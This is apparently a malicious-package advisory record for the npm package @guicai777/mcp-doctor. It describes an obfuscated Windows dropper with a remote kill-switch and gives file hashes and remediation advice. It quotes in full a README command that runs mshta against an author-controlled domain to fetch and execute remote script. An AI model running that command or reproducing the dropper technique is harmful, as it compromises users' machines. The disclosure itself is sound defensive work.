{"id":"MAL-2026-20295","summary":"Malicious code in @guicai777/mcp-doctor (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (239993ae4c14c460d6ee1558bb2808072cf850d91c451fe950752387d4edb179)\nThe package ships `bridge.bin` (~866KB) as base64-encoded, XOR-obfuscated bytes. On Windows, `index.js` reads `bridge.bin`, base64-decodes it, XOR-decrypts it with a one-byte key taken from the first byte of the blob, writes the resulting PE to `%LOCALAPPDATA%\\mcp-doctor\\mcp-bridge.exe`, and spawns it detached with `windowsHide: true` and `stdio: 'ignore'`. Before dropping, the CLI fetches `https://fix-mcp-bridge.com/v.json` and only skips execution when the remote JSON returns `active:false`, giving the operator a remote kill-switch to time and target payload activation. The README additionally instructs users to run `mshta https://fix-mcp-bridge.com/init`, a LOLBAS technique that downloads and executes remote HTML/JS/VBScript from the same author-controlled domain under the user's context. There is no legitimate build-time reason to base64+XOR a Windows binary the package itself owns; the encoding exists solely to conceal the payload's contents from scanners and reviewers, and the opaque PE is executed on the installer's host with no hash or signature verification. The combination of an obfuscated bundled executable, remote-gated drop-and-exec, and a documented out-of-band mshta remote-code-execution install path is a cover-story dropper masquerading as an MCP diagnostic utility.\n\n## Source: ghsa-malware (d1e1443947c2ad370530f2fd605f5286fbbebc8cbf4b2567cfe09db6d1901b3d)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-h82f-cjm4-g22r"],"modified":"2026-11-20T13:30:04.176458603Z","published":"2026-11-20T06:02:31Z","database_specific":{"malicious-packages-origins":[{"versions":["1.0.1"],"id":"IN-MAL-2026-022951","import_time":"2026-11-20T06:19:37.133741394Z","modified_time":"2026-11-20T06:02:31Z","sha256":"239993ae4c14c460d6ee1558bb2808072cf850d91c451fe950752387d4edb179","source":"amazon-inspector"},{"ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"d1e1443947c2ad370530f2fd605f5286fbbebc8cbf4b2567cfe09db6d1901b3d","source":"ghsa-malware","id":"GHSA-h82f-cjm4-g22r","import_time":"2026-11-20T13:18:11.316080125Z","modified_time":"2026-11-20T13:00:10Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@guicai777/mcp-doctor/v/1.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h82f-cjm4-g22r"}],"affected":[{"package":{"name":"@guicai777/mcp-doctor","ecosystem":"npm","purl":"pkg:npm/%40guicai777/mcp-doctor"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1"],"database_specific":{"indicators":{"evidence_files":[{"tlsh":"9b4162e259f511381037c1d4aa67683bab0786213103f2a8f69c22172fcaa18e5575fd","path":"index.js","sha256":"44af43112e44352c38bef93d3751ca1b567f6bb753e36fd76428743d260e764e"},{"path":"README.md","sha256":"242c008cf57604bd2c685018ed704d6ead8a0f8623a8b6196a0700aef8c6ac7d","tlsh":"13e0f10324603223016b02da98ef509677c54b07f50230c4e3d7110c2fd5c31f40bf40"}],"package_integrity":[{"filename":"mcp-doctor-1.0.1.tgz","hashes":{"sha1":"26a9649e911730505633a42bf856d910c7d95549","sha512_sri":"sha512-O4EXlimzOol1CrjiTbMgy/s/0+8quN3t6g/Cgbwds0b+0z/nPLjfp1syM0A+1mqUtDrBIZZKB7l60VBp0Jc1Sg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@guicai777/mcp-doctor/MAL-2026-20295.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}